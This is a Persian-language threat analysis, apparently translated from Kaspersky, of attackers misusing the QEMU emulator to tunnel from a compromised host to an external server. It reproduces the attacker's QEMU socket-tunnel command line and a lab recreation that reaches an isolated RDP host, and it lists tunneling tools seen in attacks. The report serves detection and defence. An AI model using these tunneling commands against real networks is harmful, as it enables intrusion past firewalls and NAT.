مهاجمان سایبری در هنگام انجام مراحل مختلف حمله، ابزارهای قانونی را ترجیح می دهند، زیرا این ابزارها به آنها کمک می کنند تا توسط سیستم های شناسایی تشخیص داده نشوند و در عین حال هزینه توسعه بدافزار را به حداقل برسانند. اسکن شبکه، دسترسی به فضای حافظه فرآیند، استخراج داده، اجرای فایل ها از راه دور، و حتی رمزگذاری درایوها را می توان توسط نرم افزار های قابل اطمینان به انجام رساند. QEMU یا Quick Emulator یک شبیه ساز رایگان و منبع باز است. این شبیه ساز، پردازنده کامپیوتر را از طریق ترجمه باینری پویا شبیهسازی میکند و مجموعهای از سختافزارها و مدلهای مختلف را برای دستگاه فراهم میکند و آن را قادر میسازد تا انواع سیستمعاملها را اجرا کند. مستند پیش رو، به بررسی تانلینگ شبکه با استفاده از QEMU پرداخته است.
مهاجمان برای ایجاد دسترسی به یک زیرساخت تحت نفوذ و توسعه حمله، می توانند از بدافزار استفاده کنند و یا از طریق سرورهای RDP یا VPN شرکتی به شبکه متصل شوند (برای انجام این کار، مهاجمان باید حساب هایی با سطح دسترسی مناسب داشته باشند). راه دیگر برای اتصال به شبکه داخلی یک سازمان مورد حمله، استفاده از ابزارهای کمکی جهت راه اندازی تونل های شبکه یا Port forwarding شبکه بین سیستم های شرکت و سرورهای مهاجم می باشد که به مهاجمان اجازه می دهد تا NAT و فایروال ها را دور بزنند و به سیستم های داخلی دسترسی پیدا کنند. این همان دسته از نرم افزارهایی است که می خواهیم در این گزارش به آنها بپردازیم.
آمار
در حال حاضر ابزارهای زیادی وجود دارند که بتوان از آنها برای راه اندازی یک تونل شبکه بین دو سیستم استفاده کرد. برخی از اینها مستقیماً متصل میشوند، در حالی که برخی دیگر از پروکسی استفاده میکنند که آدرس IP سرور مهاجم را پنهان میکند. موارد زیر ابزارهایی هستند که کسپرسکی طی سه سال گذشته هنگام بررسی حملات سایبری با آنها مواجه شده است:
- Stowaway
- ligolo
- 3proxy
- dog-tunnel
- chisel
- FRP
- ngrok
- gs-netcat
- plink
- iox
- nps
متداولترین آنها ngrok و FRP بودند. برنامههای کاربردی مشابه این نوع، 10 درصد از کل حملات را تشکیل میدهند.
QEMU به عنوان یک ابزار تانلینگ
کسپرسکی در حالی که چند ماه پیش در حال بررسی یک حمله در یک شرکت بزرگ بود، فعالیت مخرب غیرمتداولی را در داخل یکی از سیستم ها شناسایی کرد. نتایج تحلیل ها حاکی از آن بود که مهاجم موارد زیر را مستقر و راه اندازی کرده است:
- ابزار اسکن شبکه Angry IP Scanner
- ابزار رمز عبور mimikatz، هش و استخراج کننده تیکت کربروس (Kerberos) و ابزار حمله اکتیو دایرکتوری
- شبیه ساز سخت افزار QEMU
مورد QEMU این سوال را مطرح می کند که عوامل مخرب چه استفاده ای ممکن است از مجازی ساز داشته باشند؟
کسپرسکی توانست خط فرمان اجرای QEMU را از حافظه ماشین تحت نفوذ بازیابی کند و همچنین متوجه شد که بدون LiveCD یا دیسک ایمیج (disk image) شروع شده است که برای QEMU بسیار غیرعادی است. اینها دستوراتی بود که مهاجم برای اجرای QEMU استفاده کرد:
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic
که در آن <IP> یک آدرس IP خارجی بود.
اجازه دهید نگاهی دقیق تر به این دستورات داشته باشیم.
- m 1M : اندازه RAM را برای تخصیص به ماشین مجازی مشخص می کند. در این مورد 1 مگابایت بود که برای اکثر سیستم عامل ها کافی نخواهد بود.
- netdev user,id=lan,restrict=off : یک اینترفیس شبکه مجازی با نام lan و نوع user ایجاد می کند که به ماشین مجازی اجازه می دهد از طریق پشته شبکه میزبان با دنیای خارج ارتباط برقرار کند. گزینه limited=off محدودیت های اتصالات ورودی و خروجی را حذف می کند.
- netdev socket,id=sock,connect=<IP>:443 : یک اینترفیس شبکه از نوع سوکت با نام sock ایجاد می کند که اتصال به یک سرور راه دور در آدرس IP و پورت 443 مشخص شده را فراهم می کند.
- netdev hubport,id=port-lan,hubid=0,netdev=lan : یک پورت به هاب مجازی با hubid=0 اضافه می کند که به lan اینترفیس شبکه مجازی متصل است.
- netdev hubport,id=port-sock,hubid=0,netdev=sock : مشابه موارد فوق، این مورد یک پورت دیگر به هاب مجازی متصل به sock اینترفیس شبکه مجازی اضافه می کند.
- nographic: این QEMU را در حالت غیر GUI با خروجی کنسول آغاز میکند.
آدرس IP موجود در آرگومان ها بلافاصله توجه کسپرسکی را به خود جلب کرد. این آدرس خارجی بود و هیچ ارتباطی با شرکت مورد حمله نداشت، بنابراین کسپرسکی اسناد QEMU را بررسی کرد و متوجه شد که QEMU از اتصالات بین ماشین های مجازی پشتیبانی می کند. گزینه –netdev، دستگاههای شبکه (backend) را ایجاد میکند که سپس می توانند به ماشین های مجازی متصل شوند. هر یک از دستگاه های شبکه متعدد بر اساس نوع خود تعریف می شود و از گزینه های اضافی پشتیبانی می کنند. در زیر توضیحی از مقادیر –netdev ارائه شده است.
user (پشته شبکه کاربر)
این ساده ترین راه برای اتصال ماشین مجازی به شبکه می باشد. ترافیک از پشته (stack) شبکه میزبان عبور می کند و ماشین مجازی به شبکه متصل می شود بطوری که انگار یک برنامه معمولی در ماشین میزبان است.
qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0
در اینجا mynet0 شناسه پشتیبان شبکه است و e1000 یک آداپتور شبکه (frontend) در داخل ماشین مجازی است.
hubport (هاب مجازی)
چندین دستگاه شبکه را به طور مشابه به یک هاب شبکه متصل می کند.
socket
سوکت، ماشینهای مجازی را مستقیماً از طریق سوکت های شبکه برای ایجاد توپولوژی شبکه VM و همچنین ماشین های مجازی روی میزبان های مختلف به یکدیگر متصل می کند.
# VM1
qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3
# VM2، متصل به VM1
qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device
e1000,netdev=mynet4
VM1 به پورت 1234 گوش فرا می دهد، در حالی که VM2 به آن پورت متصل می شود. این مسیری بود که مهاجمان در پیش گرفتند: آنها یک کلاینت را در سیستم تحت نفوذ راه اندازی و آن را به سرور خود متصل کردند تا دسترسی به شبکه شرکتی را که کلاینت در آن در حال اجرا بود، ایجاد کند. این تقریباً هیچ تأثیری بر عملکرد سیستم تحت نفوذ نداشت، زیرا مهاجم هنگام اجرای QEMU از دیسک ایمیج یا LiveCD استفاده نمیکرد.
کسپرسکی هیچ راهی برای تعیین دقیق نحوه اجرای QEMU توسط مهاجمان بر روی سرور نداشت، بنابراین تصمیم گرفت تکنیک توضیح داده شده در بالا را بر روی یک مجموعه متشکل از سه سیستم آزمایش کند:
- InternalHost در داخل شبکه قرار داشت، بدون دسترسی به اینترنت و یک سرور RDP را بر روی پورت 3389 اجرا می کرد. این، سیستم ایزوله را بدون دسترسی به اینترنت شبیه سازی میکرد.
- PivotHost در شبکه قرار داشت، اما دارای دسترسی به اینترنت بود و سیستمی را شبیه سازی می کرد که توسط مهاجمان مورد نفوذ قرار گرفته بود و برای دسترسی به میزبان داخلی استفاده می شد.
- AttackerServer در فضای ابری میزبانی می شد و سرور مهاجم را شبیه سازی می کرد.
هدف کسپرسکی دسترسی به InternalHost از AttackerServer بود. تصویر زیر طرح کلی تانلینگ را نشان می دهد.
کسپرسکی به منظور شبیه سازی QEMU در AttackerServer از یک VM با LiveCD کالی لینوکس استفاده کرد. یک دستگاه شبکه از نوع سوکت به عنوان آداپتور شبکه به VM متصل شده و به پورت 443 گوش داده است.
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device
e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443
نسخه دیگری از QEMU در PivotHost در حال اجرا بود و از طریق دستگاه شبکه سوکت به پورت 443 در AttackerServer در فضای ابری متصل می شد. کسپرسکی همچنین یک دستگاه شبکه از نوع کاربر، همراه با سوکت را از طریق یک هاب متصل کرد. گزینه های راه اندازی QEMU انتخاب شده مشابه مواردی بود که پیش تر توسط مهاجم مورد استفاده قرار گربته بود.
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=:443 -netdev hubport,id=port-
lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
پس از شروع، QEMU یک تونل شبکه از PivotHost به AttackerServer یا به طور دقیق تر، به Kali Linux ماشین مجازی راه اندازی کرد. کالی لینوکس می تواند زیرشبکه ای که PivotHost به آن متصل است را برای سیستم های دیگر اسکن کند.
اسکن مربوط به InternalHost بود که در آدرس IP 192.168.56.109 قرار دارد. ابزار Nmap نشان داد که پورت 3389 باز است. کسپرسکی سعی کرد با استفاده از RDP به InternalHost متصل شود.
بنابراین، کسپرسکی توانست اطمینان حاصل کند که این تکنیک جهت ایجاد دسترسی به شبکه واقعاً مؤثر است. علاوه بر انواع دستگاه های شبکه فوق، QEMU از چندین دستگاه دیگر نیز پشتیبانی می کند که می توانند توسط عوامل مخرب مورد سوء استفاده قرار گیرند.
تجزیه و تحلیل ترافیک شبکه QEMU
QEMU از هیچ رمزگذاری اضافی در هنگام تانلینگ ترافیک استفاده نمیکند و بسته ها را بدون رمز ارسال میکند. داده های بسته در سطح برنامه ای که به سرور ارسال می شوند، شامل اندازه فریم اترنت (4 بایت، مشخص شده با رنگ زرد در تصویر زیر)، و به دنبال آن خود فریم اترنت می باشد (با رنگ قرمز مشخص شده است).
اندازه فریم اترنت در تصویر بالا 89 (0x59) بایت است. پس از این مقدار، بلافاصله فریم اترنت پکت قرار میگیرد.
کسپرسکی با داشتن یک traffic dump که در آن PivotHost رهگیری شده بود، توانست ترافیک کپسوله شده را با حذف 58 بایت اول (در TCP: ۱۴ بایت برای اترنت بعلاوه ۲۰ بایت برای IP بعلاوه ۲۰ بایت برای هدر TCP و ۴ بایت برای سایز پکت داخلی) بدست آورد. این کار را می توان با ابزار editcap از پکیج Wireshark پس از حذف همه بسته هایی که فاقد ترافیک کپسوله شده از فایل PCAP هستند، به انجام رساند.
editcap.exe -L -C 58 original.pcap extracted_traffic.pcap
نتیجه فایل PCAP حاوی ترافیکی است که از طریق تونل ارسال شده بود.
سخن پایانی
استفاده عوامل مخرب از ابزارهای قانونی به منظور انجام مراحل مختلف حمله، اقدام جدیدی نیست. با این حال، باید بپذیریم که مهاجمان گاهی اوقات برنامه های هوشمندانه ای را برای نرم افزارهایی که انجام حمله از طریق آنها محتمل نمی باشد ارائه می کنند، همانطور که در مورد QEMU چنین بود. این موضوع بیشتر از مفهوم حفاظت چند سطحی، پشتیبانی می کند که هم حفاظتEndpoint قابل اطمینان و هم راه حل های تخصصی برای شناسایی و محافظت در برابر حملات پیچیده و هدفمند را پوشش میدهد. تنها راهکار امنیتی جامع، شامل نظارت شبانه روزی شبکه (NDR[1]، NGFW[2]) و Endpoint (EDR[3]، EPP[4]) توسط کارشناسان SOC است که می تواند ناهنجاری ها را به موقع تشخیص دهد و حمله را در مرحله اولیه مسدود کند. سرویس MDR کسپرسکی اکنون قادر به تشخیص این نوع فعالیت های مشکوک QEMU مورد نظر می باشد و قوانین IDS مناسب با Backdoor.Agent.QEMU.C&C به پلتفرم KATA اضافه شده است.
منبع
[1] Network Detection and Response
[2] next-generation firewall
[3] Endpoint Detection and Response
[4] Endpoint protection platform